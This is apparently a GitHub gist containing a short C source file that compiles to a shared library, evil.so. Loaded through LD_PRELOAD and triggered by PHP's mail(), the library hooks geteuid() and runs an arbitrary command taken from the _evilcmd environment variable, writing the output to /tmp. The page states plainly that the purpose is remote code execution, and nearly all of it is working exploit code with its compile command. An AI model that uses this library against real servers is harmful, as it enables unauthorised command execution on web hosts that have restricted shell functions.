Created
January 21, 2019 11:41
-
-
Save tarunkant/d44c29402eef9b6fa399876f6e73b607 to your computer and use it in GitHub Desktop.
It will create evil.so file for getting RCE through mail() via LD_PRELOAD
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */ | |
| #include <stdlib.h> | |
| #include <stdio.h> | |
| #include <string.h> | |
| void payload(char *cmd) { | |
| char buf[512]; | |
| strcpy(buf, cmd); | |
| strcat(buf, " > /tmp/_0utput.txt"); | |
| system(buf); | |
| } | |
| int geteuid() { | |
| char *cmd; | |
| if (getenv("LD_PRELOAD") == NULL) { return 0; } | |
| unsetenv("LD_PRELOAD"); | |
| if ((cmd = getenv("_evilcmd")) != NULL) { | |
| payload(cmd); | |
| } | |
| return 1; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment